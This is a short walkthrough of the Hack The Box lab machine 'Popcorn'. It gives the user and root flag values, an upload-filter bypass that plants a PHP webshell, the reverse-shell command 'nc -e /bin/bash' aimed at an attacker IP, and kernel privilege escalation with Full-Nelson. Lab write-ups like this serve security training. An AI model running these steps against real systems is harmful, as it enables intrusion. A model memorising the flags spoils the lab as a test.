Popcorn
OS: Linux
IP: 10.10.10.6
User: 5e36a919398ecc5d5c110f2d865cf136
Root: f122331023a9393319a0370129fd9b14
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
Photo upload allows remote code execution by injecting a malicious php file and modifying the request with burp.
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
Nmap
Dirb found /torrent
Appears to be a torrent hosting application
Application allows users to sign up and upload torrents.
Find a clean torrent file (I used debian)
Upload it to the app.
Edit the torrent once it is uploaded.
The vulnerable point is the photo section so find a simple backdoor php shell.
Rename it to shell.jpg.php and upload the shell to the app. Catch the request in burp.
Change content type to: Content-Type: image/jpg
This successfully uploaded.
Inspect the image from the webapp to find the true path.
Visit the true path and issue ?cmd=id after the .php extension.
Looking in /bin we see nc is installed.
Set a listener in 443 and execute nc -e /bin/bash 10.10.14.11 443 via the browser.
Now you have a shell.
Move to /dev/shm and download enumeration scripts
Google the kernel for privesc opportunities.
Run further tools while researching kernel exploits.
Easiest way may be full nelson based on the uname -a output.
Download from exploitdb
Now on popcorn download and compile the exploit then run it to get root.
